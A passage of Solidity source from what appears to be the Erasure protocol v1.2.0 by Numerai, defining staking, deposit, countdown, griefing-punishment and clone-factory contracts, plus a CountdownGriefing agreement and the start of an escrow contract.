require(_operator != address(0), "only when operator set");
// set operator in storage
_operator = address(0);
// emit event
emit OperatorUpdated(address(0));
}
// view functions
function getOperator() public view returns (address operator) {
return _operator;
}
function isOperator(address caller) internal view returns (bool ok) {
return caller == _operator;
}
}
/// @title Template
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
contract Template {
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be `DELEGATECALL`ed from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
return iFactory(_factory).getInstanceCreator(address(this));
}
function isCreator(address caller) internal view returns (bool ok) {
return (caller == getCreator());
}
function getFactory() public view returns (address factory) {
return _factory;
}
}
/// @title Deadline
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/modules/Deadline.png
contract Deadline {
using SafeMath for uint256;
uint256 private _deadline;
event DeadlineSet(uint256 deadline);
// state functions
function _setDeadline(uint256 deadline) internal {
_deadline = deadline;
emit DeadlineSet(deadline);
}
// view functions
function getDeadline() public view returns (uint256 deadline) {
return _deadline;
}
// timeRemaining will default to 0 if _setDeadline is not called
// if the now exceeds deadline, just return 0 as the timeRemaining
function getTimeRemaining() public view returns (uint256 time) {
if (_deadline > now)
return _deadline.sub(now);
else
return 0;
}
enum DeadlineStatus { isNull, isSet, isOver }
/// Return the status of the deadline state machine
/// - isNull: the deadline has not been set
/// - isSet: the deadline is set, but has not passed
/// - isOver: the deadline has passed
function getDeadlineStatus() public view returns (DeadlineStatus status) {
if (_deadline == 0)
return DeadlineStatus.isNull;
if (_deadline > now)
return DeadlineStatus.isSet;
else
return DeadlineStatus.isOver;
}
function isNull() internal view returns (bool status) {
return getDeadlineStatus() == DeadlineStatus.isNull;
}
function isSet() internal view returns (bool status) {
return getDeadlineStatus() == DeadlineStatus.isSet;
}
function isOver() internal view returns (bool status) {
return getDeadlineStatus() == DeadlineStatus.isOver;
}
}
/// @title Deposit
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/modules/Deposit.png
contract Deposit {
using SafeMath for uint256;
mapping (address => uint256) private _deposit;
event DepositIncreased(address user, uint256 amount, uint256 newDeposit);
event DepositDecreased(address user, uint256 amount, uint256 newDeposit);
function _increaseDeposit(address user, uint256 amountToAdd) internal returns (uint256 newDeposit) {
// calculate new deposit amount
newDeposit = _deposit[user].add(amountToAdd);
// set new stake to storage
_deposit[user] = newDeposit;
// emit event
emit DepositIncreased(user, amountToAdd, newDeposit);
// return
return newDeposit;
}
function _decreaseDeposit(address user, uint256 amountToRemove) internal returns (uint256 newDeposit) {
// get current deposit
uint256 currentDeposit = _deposit[user];
// check if sufficient deposit
require(currentDeposit >= amountToRemove, "insufficient deposit to remove");
// calculate new deposit amount
newDeposit = currentDeposit.sub(amountToRemove);
// set new stake to storage
_deposit[user] = newDeposit;
// emit event
emit DepositDecreased(user, amountToRemove, newDeposit);
// return
return newDeposit;
}
function _clearDeposit(address user) internal returns (uint256 amountRemoved) {
// get current deposit
uint256 currentDeposit = _deposit[user];
// remove deposit
_decreaseDeposit(user, currentDeposit);
// return
return currentDeposit;
}
// view functions
function getDeposit(address user) public view returns (uint256 deposit) {
return _deposit[user];
}
}
/* @title DecimalMath
* @dev taken from https://github.com/PolymathNetwork/polymath-core
* @dev Apache v2 License
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant e18 = uint256(10) ** uint256(18);
/**
* @notice This function multiplies two decimals represented as (decimal * 10**DECIMALS)
* @return uint256 Result of multiplication represented as (decimal * 10**DECIMALS)
*/
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = SafeMath.add(SafeMath.mul(x, y), (e18) / 2) / (e18);
}
/**
* @notice This function divides two decimals represented as (decimal * 10**DECIMALS)
* @return uint256 Result of division represented as (decimal * 10**DECIMALS)
*/
function div(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = SafeMath.add(SafeMath.mul(x, (e18)), y / 2) / y;
}
}
/// @title iNMR
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
contract iNMR {
// ERC20
function totalSupply() external returns (uint256);
function balanceOf(address _owner) external returns (uint256);
function allowance(address _owner, address _spender) external returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool ok);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool ok);
function approve(address _spender, uint256 _value) external returns (bool ok);
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) external returns (bool ok);
/// @dev Behavior has changed to match OpenZeppelin's `ERC20Burnable.burn(uint256 amount)`
/// @dev Destoys `amount` tokens from `msg.sender`, reducing the total supply.
///
/// Emits a `Transfer` event with `to` set to the zero address.
/// Requirements:
/// - `account` must have at least `amount` tokens.
function mint(uint256 _value) external returns (bool ok);
/// @dev Behavior has changed to match OpenZeppelin's `ERC20Burnable.burnFrom(address account, uint256 amount)`
/// @dev Destoys `amount` tokens from `account`.`amount` is then deducted
/// from the caller's allowance.
///
/// Emits an `Approval` event indicating the updated allowance.
/// Emits a `Transfer` event with `to` set to the zero address.
///
/// Requirements:
/// - `account` must have at least `amount` tokens.
/// - `account` must have approved `msg.sender` with allowance of at least `amount` tokens.
function numeraiTransfer(address _to, uint256 _value) external returns (bool ok);
}
/// @title Factory
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @notice The factory contract implements a standard interface for creating EIP-1167 clones of a given template contract.
/// The create functions accept abi-encoded calldata used to initialize the spawned templates.
contract Factory is Spawner, iFactory {
address[] private _instances;
mapping (address => address) private _instanceCreator;
/* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */
address private _templateContract;
bytes4 private _initSelector;
address private _instanceRegistry;
bytes4 private _instanceType;
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
/// @notice Constructior
/// @param instanceRegistry address of the registry where all clones are registered.
/// @param templateContract address of the template used for making clones.
/// @param instanceType bytes4 identifier for the type of the factory. This must match the type of the registry.
/// @param initSelector bytes4 selector for the template initialize function.
function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, bytes4 initSelector) internal {
// set instance registry
_instanceRegistry = instanceRegistry;
// set logic contract
_templateContract = templateContract;
// set initSelector
_initSelector = initSelector;
// validate correct instance registry
require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type');
// set instanceType
_instanceType = instanceType;
}
// IFactory methods
/// @notice Create clone of the template using a nonce.
/// The nonce is unique for clones with the same initialization calldata.
/// The nonce can be used to determine the address of the clone before creation.
/// The callData must be prepended by the function selector of the template's initialize function and include all parameters.
/// @param callData bytes blob of abi-encoded calldata used to initialize the template.
/// @return instance address of the clone that was created.
function create(bytes memory callData) public returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawn(msg.sender, getTemplate(), callData);
_createHelper(instance, callData);
return instance;
}
/// @notice Create clone of the template using a salt.
/// The salt must be unique for clones with the same initialization calldata.
/// The salt can be used to determine the address of the clone before creation.
/// The callData must be prepended by the function selector of the template's initialize function and include all parameters.
/// @param callData bytes blob of abi-encoded calldata used to initialize the template.
/// @return instance address of the clone that was created.
function createSalty(bytes memory callData, bytes32 salt) public returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawnSalty(msg.sender, getTemplate(), callData, salt);
_createHelper(instance, callData);
return instance;
}
function _createHelper(address instance, bytes memory callData) private {
// add the instance to the array
_instances.push(instance);
// set instance creator
_instanceCreator[instance] = msg.sender;
// add the instance to the instance registry
iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint80(0));
// emit event
emit InstanceCreated(instance, msg.sender, callData);
}
/// @notice Get the address of an instance for a given salt
function getSaltyInstance(
address creator,
bytes memory callData,
bytes32 salt
) public view returns (address instance, bool validity) {
return Spawner._getSaltyTarget(creator, getTemplate(), callData, salt);
}
function getNextNonceInstance(
address creator,
bytes memory callData
) public view returns (address target) {
return Spawner._getNextNonceTarget(creator, getTemplate(), callData);
}
function getInstanceCreator(address instance) public view returns (address creator) {
return _instanceCreator[instance];
}
function getInstanceType() public view returns (bytes4 instanceType) {
return _instanceType;
}
function getInitSelector() public view returns (bytes4 initSelector) {
return _initSelector;
}
function getInstanceRegistry() public view returns (address instanceRegistry) {
return _instanceRegistry;
}
function getTemplate() public view returns (address template) {
return _templateContract;
}
function getInstanceCount() public view returns (uint256 count) {
return _instances.length;
}
function getInstance(uint256 index) public view returns (address instance) {
require(index < _instances.length, "index out of range");
return _instances[index];
}
function getInstances() public view returns (address[] memory instances) {
return _instances;
}
// Note: startIndex is inclusive, endIndex exclusive
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) {
require(startIndex < endIndex, "startIndex must be less than endIndex");
require(endIndex <= _instances.length, "end index out of range");
// initialize fixed size memory array
address[] memory range = new address[](endIndex - startIndex);
// Populate array with addresses in range
for (uint256 i = startIndex; i < endIndex; i++) {
range[i - startIndex] = _instances[i];
}
// return array of addresses
return range;
}
}
/// @title Countdown
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/modules/Countdown.png
contract Countdown is Deadline {
using SafeMath for uint256;
uint256 private _length;
event LengthSet(uint256 length);
// state functions
function _setLength(uint256 length) internal {
_length = length;
emit LengthSet(length);
}
function _start() internal returns (uint256 deadline) {
deadline = _length.add(now);
Deadline._setDeadline(deadline);
return deadline;
}
// view functions
function getLength() public view returns (uint256 length) {
return _length;
}
enum CountdownStatus { isNull, isSet, isActive, isOver }
/// Return the status of the state machine
/// - isNull: the length has not been set
/// - isSet: the length is set, but the countdown is not started
/// - isActive: the countdown has started but not yet ended
/// - isOver: the countdown has completed
function getCountdownStatus() public view returns (CountdownStatus status) {
if (_length == 0)
return CountdownStatus.isNull;
if (Deadline.getDeadlineStatus() == DeadlineStatus.isNull)
return CountdownStatus.isSet;
if (Deadline.getDeadlineStatus() != DeadlineStatus.isOver)
return CountdownStatus.isActive;
else
return CountdownStatus.isOver;
}
function isNull() internal view returns (bool validity) {
return getCountdownStatus() == CountdownStatus.isNull;
}
function isSet() internal view returns (bool validity) {
return getCountdownStatus() == CountdownStatus.isSet;
}
function isActive() internal view returns (bool validity) {
return getCountdownStatus() == CountdownStatus.isActive;
}
function isOver() internal view returns (bool validity) {
return getCountdownStatus() == CountdownStatus.isOver;
}
}
/// @title BurnNMR
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @notice Allows for calling NMR burn functions using regular openzeppelin ERC20Burnable interface and revert on failure.
contract BurnNMR {
// address of the token
address private constant _Token = address(0x1776e1F26f98b1A5dF9cD347953a26dd3Cb46671);
/// @notice Burns a specific amount of NMR from this contract.
/// @param value uint256 The amount of NMR (18 decimals) to be burned.
function _burn(uint256 value) internal {
require(iNMR(_Token).mint(value), "nmr burn failed");
}
/// @dev Burns a specific amount of NMR from the target address and decrements allowance.
/// @param from address The account whose tokens will be burned.
/// @param value uint256 The amount of NMR (18 decimals) to be burned.
function _burnFrom(address from, uint256 value) internal {
require(iNMR(_Token).numeraiTransfer(from, value), "nmr burnFrom failed");
}
/// @notice Get the NMR token address.
/// @return token address The NMR token address.
function getToken() public pure returns (address token) {
token = _Token;
}
}
/// @title Staking
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/modules/Staking.png
contract Staking is Deposit, BurnNMR {
using SafeMath for uint256;
event StakeAdded(address staker, address funder, uint256 amount);
event StakeTaken(address staker, address recipient, uint256 amount);
event StakeBurned(address staker, uint256 amount);
function _addStake(address staker, address funder, uint256 amountToAdd) internal {
// update deposit
Deposit._increaseDeposit(staker, amountToAdd);
// transfer the stake amount
require(IERC20(BurnNMR.getToken()).transferFrom(funder, address(this), amountToAdd), "token transfer failed");
// emit event
emit StakeAdded(staker, funder, amountToAdd);
}
function _takeStake(address staker, address recipient, uint256 amountToTake) internal returns (uint256 newStake) {
// update deposit
uint256 newDeposit = Deposit._decreaseDeposit(staker, amountToTake);
// transfer the stake amount
require(IERC20(BurnNMR.getToken()).transfer(recipient, amountToTake), "token transfer failed");
// emit event
emit StakeTaken(staker, recipient, amountToTake);
// return
return newDeposit;
}
function _takeFullStake(address staker, address recipient) internal returns (uint256 amountTaken) {
// get deposit
uint256 currentDeposit = Deposit.getDeposit(staker);
// take full stake
_takeStake(staker, recipient, currentDeposit);
// return
return currentDeposit;
}
function _burnStake(address staker, uint256 amountToBurn) internal returns (uint256 newStake) {
// update deposit
uint256 newDeposit = Deposit._decreaseDeposit(staker, amountToBurn);
// burn the stake amount
BurnNMR._burn(amountToBurn);
// emit event
emit StakeBurned(staker, amountToBurn);
// return
return newDeposit;
}
function _burnFullStake(address staker) internal returns (uint256 amountBurned) {
// get deposit
uint256 currentDeposit = Deposit.getDeposit(staker);
// burn full stake
_burnStake(staker, currentDeposit);
// return
return currentDeposit;
}
// view functions
function getStake(address staker) public view returns (uint256 stake) {
return Deposit.getDeposit(staker);
}
}
/// @title Griefing
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/modules/Griefing.png
contract Griefing is Staking {
enum RatioType { NaN, Inf, Dec }
mapping (address => GriefRatio) private _griefRatio;
struct GriefRatio {
uint256 ratio;
RatioType ratioType;
}
event RatioSet(address staker, uint256 ratio, RatioType ratioType);
event Griefed(address punisher, address staker, uint256 punishment, uint256 cost, bytes message);
uint256 internal constant e18 = uint256(10) ** uint256(18);
// state functions
/// @notice Set the grief ratio and type for a given staker
/// @param staker Address of the staker
/// @param ratio Uint256 number (18 decimals)
/// NOTE: ratio must be 0 if ratioType is Inf or NaN
/// @param ratioType Griefing.RatioType number. Ratio Type must be one of the following three values:
/// - Dec: Ratio is a decimal number with 18 decimals
/// - Inf: Punishment at no cost
/// - NaN: No Punishment
function _setRatio(address staker, uint256 ratio, RatioType ratioType) internal {
if (ratioType == RatioType.NaN || ratioType == RatioType.Inf) {
require(ratio == 0, "ratio must be 0 when ratioType is NaN or Inf");
}
// set data in storage
_griefRatio[staker].ratio = ratio;
_griefRatio[staker].ratioType = ratioType;
// emit event
emit RatioSet(staker, ratio, ratioType);
}
/// @notice Punish a stake through griefing
/// NOTE: the cost of the punishment is taken form the account of the punisher. This therefore requires appropriate ERC-20 token approval.
/// @param punisher Address of the punisher
/// @param staker Address of the staker
/// @param punishment Amount of NMR (18 decimals) to punish
/// @param message Bytes reason string for the punishment
/// @return cost Amount of NMR (18 decimals) to pay
function _grief(
address punisher,
address staker,
uint256 punishment,
bytes memory message
) internal returns (uint256 cost) {
// get grief data from storage
uint256 ratio = _griefRatio[staker].ratio;
RatioType ratioType = _griefRatio[staker].ratioType;
require(ratioType != RatioType.NaN, "no punishment allowed");
// calculate cost
// getCost also acts as a guard when _setRatio is not called before
cost = getCost(ratio, punishment, ratioType);
// burn the cost from the punisher's balance
BurnNMR._burnFrom(punisher, cost);
// burn the punishment from the target's stake
Staking._burnStake(staker, punishment);
// emit event
emit Griefed(punisher, staker, punishment, cost, message);
// return
return cost;
}
// view functions
/// @notice Get the ratio of a staker
/// @param staker Address of the staker
/// @return ratio Uint256 number (18 decimals)
/// @return ratioType Griefing.RatioType number. Ratio Type must be one of the following three values:
/// - Dec: Ratio is a decimal number with 18 decimals
/// - Inf: Punishment at no cost
/// - NaN: No Punishment
function getRatio(address staker) public view returns (uint256 ratio, RatioType ratioType) {
// get stake data from storage
return (_griefRatio[staker].ratio, _griefRatio[staker].ratioType);
}
// pure functions
/// @notice Get exact cost for a given punishment and ratio
/// @param ratio Uint256 number (18 decimals)
/// @param punishment Amount of NMR (18 decimals) to punish
/// @param ratioType Griefing.RatioType number. Ratio Type must be one of the following three values:
/// - Dec: Ratio is a decimal number with 18 decimals
/// - Inf: Punishment at no cost
/// - NaN: No Punishment
/// @return cost Amount of NMR (18 decimals) to pay
function getCost(uint256 ratio, uint256 punishment, RatioType ratioType) public pure returns(uint256 cost) {
if (ratioType == RatioType.Dec) {
return DecimalMath.mul(SafeMath.mul(punishment, e18), ratio) / e18;
}
if (ratioType == RatioType.Inf)
return 0;
if (ratioType == RatioType.NaN)
revert("ratioType cannot be RatioType.NaN");
}
/// @notice Get approximate punishment for a given cost and ratio.
/// The punishment is an approximate value due to quantization / rounding.
/// @param ratio Uint256 number (18 decimals)
/// @param cost Amount of NMR (18 decimals) to pay
/// @param ratioType Griefing.RatioType number. Ratio Type must be one of the following three values:
/// - Dec: Ratio is a decimal number with 18 decimals
/// - Inf: Punishment at no cost
/// - NaN: No Punishment
/// @return punishment Approximate amount of NMR (18 decimals) to punish
function getPunishment(uint256 ratio, uint256 cost, RatioType ratioType) public pure returns(uint256 punishment) {
if (ratioType == RatioType.Dec) {
return DecimalMath.div(SafeMath.mul(cost, e18), ratio) / e18;
}
if (ratioType == RatioType.Inf)
revert("ratioType cannot be RatioType.Inf");
if (ratioType == RatioType.NaN)
revert("ratioType cannot be RatioType.NaN");
}
}
/// @title CountdownGriefing
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/agreements/CountdownGriefing.png
/// @notice This agreement template allows a staker to grant permission to a counterparty to punish, reward, or release their stake until the countdown is completed.
/// A new instance is initialized by the factory using the `initData` received. See the `initialize()` function for details on initialization parameters.
/// Notable features:
/// - The staker can increase the stake at any time before the end of the countdown.
/// - The counterparty can increase, release, or punish the stake at any time before the end of the countdown.
/// - The agreement can be terminated by the staker by starting the countdown. Once the countdown completes the staker can retrieve their remaining stake.
/// - Punishments use griefing which requires the counterparty to pay an appropriate amount based on the desired punishment and a predetermined ratio.
/// - An operator can optionally be defined to grant full permissions to a trusted external address or contract.
contract CountdownGriefing is Countdown, Griefing, EventMetadata, Operated, Template {
using SafeMath for uint256;
Data private _data;
struct Data {
address staker;
address counterparty;
}
event Initialized(address operator, address staker, address counterparty, uint256 ratio, Griefing.RatioType ratioType, uint256 countdownLength, bytes metadata);
/// @notice Constructor used to initialize the agreement parameters.
/// All parameters are passed as ABI-encoded calldata to the factory. This calldata must include the function selector.
/// @dev Access Control: only factory
/// State Machine: before all
/// @param operator address of the operator that overrides access control. Optional parameter. Passing the address(0) will disable operator functionality.
/// @param staker address of the staker who owns the stake. Required parameter. This address is the only one able to retrieve the stake and cannot be changed.
/// @param counterparty address of the counterparty who has the right to reward, release, and punish the stake. Required parameter. This address cannot be changed.
/// @param ratio uint256 number (18 decimals) used to determine punishment cost. Required parameter. See Griefing module for details on valid input.
/// @param ratioType Griefing.RatioType number used to determine punishment cost. Required parameter. See Griefing module for details on valid input.
/// @param countdownLength uint256 amount of time (in seconds) the counterparty has to punish or reward before the agreement ends. Required parameter.
/// @param metadata bytes data (any format) to emit as event on initialization. Optional parameter.
function initialize(
address operator,
address staker,
address counterparty,
uint256 ratio,
Griefing.RatioType ratioType,
uint256 countdownLength,
bytes memory metadata
) public initializeTemplate() {
// set storage values
_data.staker = staker;
_data.counterparty = counterparty;
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
}
// set griefing ratio
Griefing._setRatio(staker, ratio, ratioType);
// set countdown length
Countdown._setLength(countdownLength);
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, staker, counterparty, ratio, ratioType, countdownLength, metadata);
}
// state functions
/// @notice Emit metadata event
/// @dev Access Control: operator
/// State Machine: always
/// @param metadata bytes data (any format) to emit as event
function setMetadata(bytes memory metadata) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// update metadata
EventMetadata._setMetadata(metadata);
}
/// @notice Called by the staker to increase the stake
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// @dev Access Control: staker OR operator
/// State Machine: before isTerminated()
/// @param amountToAdd uint256 amount of NMR (18 decimals) to be added to the stake
function increaseStake(uint256 amountToAdd) public {
// restrict access
require(isStaker(msg.sender) || Operated.isOperator(msg.sender), "only staker or operator");
// require agreement is not ended
require(!isTerminated(), "agreement ended");
// add stake
Staking._addStake(_data.staker, msg.sender, amountToAdd);
}
/// @notice Called by the counterparty to increase the stake
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// @dev Access Control: counterparty OR operator
/// State Machine: before isTerminated()
/// @param amountToAdd uint256 amount of NMR (18 decimals) to be added to the stake
function reward(uint256 amountToAdd) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isOperator(msg.sender), "only counterparty or operator");
// require agreement is not ended
require(!isTerminated(), "agreement ended");
// add stake
Staking._addStake(_data.staker, msg.sender, amountToAdd);
}
/// @notice Called by the counterparty to punish the stake
/// - burns the punishment from the stake and a proportional amount from the counterparty balance
/// - the cost of the punishment is calculated with the `Griefing.getCost()` function using the predetermined griefing ratio
/// - tokens (ERC-20) are burned from the caller and requires approval of this contract for appropriate amount
/// @dev Access Control: counterparty OR operator
/// State Machine: before isTerminated()
/// @param punishment uint256 amount of NMR (18 decimals) to be burned from the stake
/// @param message bytes data (any format) to emit as event giving reason for the punishment
/// @return cost uint256 amount of NMR (18 decimals) it cost to perform punishment
function punish(uint256 punishment, bytes memory message) public returns (uint256 cost) {
// restrict access
require(isCounterparty(msg.sender) || Operated.isOperator(msg.sender), "only counterparty or operator");
// require agreement is not ended
require(!isTerminated(), "agreement ended");
// execute griefing
return Griefing._grief(msg.sender, _data.staker, punishment, message);
}
/// @notice Called by the counterparty to release the stake to the staker
/// @dev Access Control: counterparty OR operator
/// State Machine: anytime
/// @param amountToRelease uint256 amount of NMR (18 decimals) to be released from the stake
function releaseStake(uint256 amountToRelease) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isOperator(msg.sender), "only counterparty or operator");
// release stake back to the staker
Staking._takeStake(_data.staker, _data.staker, amountToRelease);
}
/// @notice Called by the staker to begin countdown to finalize the agreement
/// @dev Access Control: staker OR operator
/// State Machine: before Countdown.isActive()
/// @return deadline uint256 timestamp (Unix seconds) at which the agreement will be finalized
function startCountdown() public returns (uint256 deadline) {
// restrict access
require(isStaker(msg.sender) || Operated.isOperator(msg.sender), "only staker or operator");
// require countdown is not started
require(isInitialized(), "deadline already set");
// start countdown
return Countdown._start();
}
/// @notice Called by the staker to retrieve the remaining stake once the agreement has ended
/// @dev Access Control: staker OR operator
/// State Machine: after Countdown.isOver()
/// @param recipient address of the account where to send the stake
/// @return amount uint256 amount of NMR (18 decimals) retrieved
function retrieveStake(address recipient) public returns (uint256 amount) {
// restrict access
require(isStaker(msg.sender) || Operated.isOperator(msg.sender), "only staker or operator");
// require deadline is passed
require(isTerminated(), "deadline not passed");
// retrieve stake
return Staking._takeFullStake(_data.staker, recipient);
}
/// @notice Called by the operator to transfer control to new operator
/// @dev Access Control: operator
/// State Machine: anytime
/// @param operator address of the new operator
function transferOperator(address operator) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// transfer operator
Operated._transferOperator(operator);
}
/// @notice Called by the operator to renounce control
/// @dev Access Control: operator
/// State Machine: anytime
function renounceOperator() public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// renounce operator
Operated._renounceOperator();
}
// view functions
/// @notice Get the address of the staker (if set)
/// @return staker address of the staker
function getStaker() public view returns (address staker) {
return _data.staker;
}
/// @notice Validate if the address matches the stored staker address
/// @param caller address to validate
/// @return validity bool true if matching address
function isStaker(address caller) internal view returns (bool validity) {
return caller == getStaker();
}
/// @notice Get the address of the counterparty (if set)
/// @return counterparty address of counterparty account
function getCounterparty() public view returns (address counterparty) {
return _data.counterparty;
}
/// @notice Validate if the address matches the stored counterparty address
/// @param caller address to validate
/// @return validity bool true if matching address
function isCounterparty(address caller) internal view returns (bool validity) {
return caller == getCounterparty();
}
/// @notice Get the current stake of the agreement
/// @return stake uint256 amount of NMR (18 decimals) staked
function getCurrentStake() public view returns (uint256 stake) {
return Staking.getStake(_data.staker);
}
/// @notice Validate if the current stake is greater than 0
/// @return validity bool true if non-zero stake
function isStaked() public view returns (bool validity) {
return getCurrentStake() > 0;
}
enum AgreementStatus { isInitialized, isInCountdown, isTerminated }
/// @notice Get the status of the state machine
/// @return status AgreementStatus from the following states:
/// - isInitialized: initialized but no deposits made
/// - isInCountdown: staker has triggered countdown to termination
/// - isTerminated: griefing agreement is over, staker can retrieve stake
function getAgreementStatus() public view returns (AgreementStatus status) {
if (Countdown.isOver()) {
return AgreementStatus.isTerminated;
} else if (Countdown.isActive()) {
return AgreementStatus.isInCountdown;
} else {
return AgreementStatus.isInitialized;
}
}
/// @notice Validate if the state machine is in the AgreementStatus.isInitialized state
/// @return validity bool true if correct state
function isInitialized() internal view returns (bool validity) {
return getAgreementStatus() == AgreementStatus.isInitialized;
}
/// @notice Validate if the state machine is in the AgreementStatus.isInCountdown state
/// @return validity bool true if correct state
function isInCountdown() internal view returns (bool validity) {
return getAgreementStatus() == AgreementStatus.isInCountdown;
}
/// @notice Validate if the state machine is in the AgreementStatus.isTerminated state
/// @return validity bool true if correct state
function isTerminated() internal view returns (bool validity) {
return getAgreementStatus() == AgreementStatus.isTerminated;
}
}
/// @title CountdownGriefingEscrow
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/v1.2.0/docs/state-machines/escrows/CountdownGriefingEscrow.png
/// @notice This escrow allows for a buyer and a seller to deposit their stake and payment before sending it to a CountdownGriefing agreement.
/// A new instance is initialized by the factory using the `initData` received. See the `initialize()` function for details.
/// Notable features:
/// - The deposited payment and stake become the stake of the agreement once the escrow is finalized.
/// - If the buyer is not defined on creation, the first user to deposit the payment becomes the buyer.
/// - If the seller is not defined on creation, the first user to deposit the stake becomes the seller.
/// - Either party is able to cancel the escrow and retrieve their deposit if their counterparty never completes their deposit.
/// - If the buyer deposits their payment after the stake has already been deposited by the seller, this starts a countdown for the seller to finalize the escrow.
/// - If the seller does not finalize the escrow before the end of the countdown, the buyer can timeout the escrow and recover their stake.
/// - An operator can optionally be defined to grant full permissions to a trusted external address or contract.
/// **Note**
/// Given the nature of ethereum, it is possible that while a cancel request is pending, the counterparty finalizes the escrow and the deposits are transfered to the agreement.
/// This contract is designed such that there is only two end states: deposits are returned to the buyer and the seller OR the agreement is successfully created.
/// This is why a user CANNOT rely on the cancellation feature to always work.
contract CountdownGriefingEscrow is Countdown, Staking, EventMetadata, Operated, Template {
using SafeMath for uint256;
Data private _data;
struct Data {
address buyer;
address seller;
uint128 paymentAmount;
uint128 stakeAmount;
EscrowStatus status;
AgreementParams agreementParams;
}
struct AgreementParams {
uint120 ratio;
Griefing.RatioType ratioType;
uint128 countdownLength;
}
event Initialized(
address operator,
address buyer,
address seller,
uint256 paymentAmount,
uint256 stakeAmount,
uint256 countdownLength,
bytes metadata,
bytes agreementParams
);
event StakeDeposited(address seller, uint256 amount);
event PaymentDeposited(address buyer, uint256 amount);
event Finalized(address agreement);
event DataSubmitted(bytes data);
event Cancelled();
/// @notice Constructor used to initialize the escrow parameters.
/// @dev Access Control: only factory
/// State Machine: before all
/// @param operator address of the operator that overrides access control. Optional parameter. Passing the address(0) will disable operator functionality.
/// @param buyer address of the buyer. Optional parameter. This address is the only one able to deposit the payment. If not set, the first to deposit the payment becomes the buyer.
/// @param seller address of the seller. Optional parameter. This address is the only one able to deposit the stake. If not set, the first to deposit the stake becomes the seller.
/// @param paymentAmount uint256 amount of NMR (18 decimals) to be deposited by buyer as payment. Required parameter. This number must fit in a uint128 for optimization reasons.
/// @param stakeAmount uint256 amount of NMR (18 decimals) to be deposited by seller as stake. Required parameter. This number must fit in a uint128 for optimization reasons.
/// @param escrowCountdown uint256 amount of time (in seconds) the seller has to finalize the escrow after the payment and stake is deposited. Required parameter.
/// @param metadata bytes data (any format) to emit as event on initialization. Optional parameter.
/// @param agreementParams bytes ABI-encoded parameters used by CountdownGriefing agreement on initialization. Required parameter.
/// This encoded data blob must contain the uint120 ratio, Griefing.RatioType ratioType, and uint128 agreementCountdown encoded as `abi.encode(ratio, ratioType, agreementCountdown)`.
/// See CountdownGriefing initialize function for additional details.
function initialize(
address operator,
address buyer,
address seller,
uint256 paymentAmount,
uint256 stakeAmount,
uint256 escrowCountdown,
bytes memory metadata,
bytes memory agreementParams
) public initializeTemplate() {
// set participants if defined
if (buyer != address(0)) {
_data.buyer = buyer;
}
if (seller != address(0)) {
_data.seller = seller;
}
// set operator if defined
if (operator != address(0)) {
Operated._setOperator(operator);
}
// set amounts if defined
if (paymentAmount != uint256(0)) {
require(paymentAmount <= uint256(uint128(paymentAmount)), "paymentAmount is too large");
_data.paymentAmount = uint128(paymentAmount);
}
